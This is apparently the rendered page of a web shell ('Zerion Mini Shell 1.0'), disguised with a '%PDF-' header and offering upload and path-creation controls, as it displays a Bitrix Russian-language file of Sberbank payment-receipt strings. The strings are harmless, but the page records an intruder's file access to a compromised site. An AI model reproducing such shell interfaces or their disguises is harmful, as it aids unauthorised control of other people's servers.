%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/sale/handlers/paysystem/sberbank/template/lang/ru/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/modules/sale/handlers/paysystem/sberbank/template/lang/ru/template.php

<?php
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_RECEIPT"] = "Квитанция";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_TITLE"] = "Извещение";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_CASHIER"] = "Кассир";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_ORDER_DATE_FROM"] = "от";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_FORM_TITLE"] = "Форма № ПД-4";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_COMPANY_NAME"] = "(наименование получателя платежа)";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_INN"] = "(ИНН получателя платежа)";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_SETTLEMENT_ACC"] = "(номер счета получателя платежа)";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_BANK_BIC"] = "БИК";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_BANK_NAME"] = "(наименование банка получателя платежа)";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_BANK_COR_ACC"] = "Номер кор./сч. банка получателя платежа";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_ORDER_ID"] = "Оплата №#PAYMENT_ID# заказа №#ORDER_ID#";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_ORDER_FROM"] = "от";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_PAYMENT_NAME"] = "(наименование платежа)";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_PAYMENT_ACC"] = "(номер лицевого счета (код) плательщика)";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_PAYER_FIO"] = "(Ф.И.О. плательщика)";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_PAYER_ADDRESS"] = "Адрес плательщика";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_SHOULD_PAY"] = "Сумма платежа";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_ADD_SUM"] = "Сумма платы за услуги";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_FINAL_SUM"] = "Итого";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_CONFIRM"] = "С условиями приема указанной в платежном документе суммы, в т.ч. с суммой взимаемой платы за услуги банка, ознакомлен и согласен.";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_SIGNATURE"] = "Подпись плательщика";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_WARNING"] = "Внимание! В стоимость заказа не включена комиссия банка.";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_FORM_CONDITIONS"] = '<h1><b>Метод оплаты:</b> </h1><ol><li>Распечатайте квитанцию. Если у вас нет принтера, перепишете верхнюю часть квитанции и заполните по этому образцу стандартный бланк квитанции в вашем банке.</li><li>Вырежьте по контуру квитанцию.</li><li>Оплатите квитанцию в любом отделении банка, принимающего платежи от частных лиц.</li><li>Сохраните квитанцию до подтверждения исполнения заказа.</li></ol><h1><b>Условия поставки:</b> </h1><ul><li>Отгрузка оплаченного товара производится после подтверждения факта платежа.</li><li>Идентификация платежа производится по квитанции, поступившей в наш банк.</li></ul>';
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_NOTE"] = "Примечание:";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_NOTE_DESCRIPTION"] = "не может гарантировать конкретные сроки проведения вашего платежа. За дополнительной информацией о сроках доставки квитанции в банк получателя, обращайтесь в свой банк.";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_SHORT_YEAR"] = "г.";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_IN"] = "в";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_SHORT_RUB"] = "руб.";
$MESS["SALE_HANDLERS_PAY_SYSTEM_SBERBANK_SHORT_COP"] = "коп.";

Zerion Mini Shell 1.0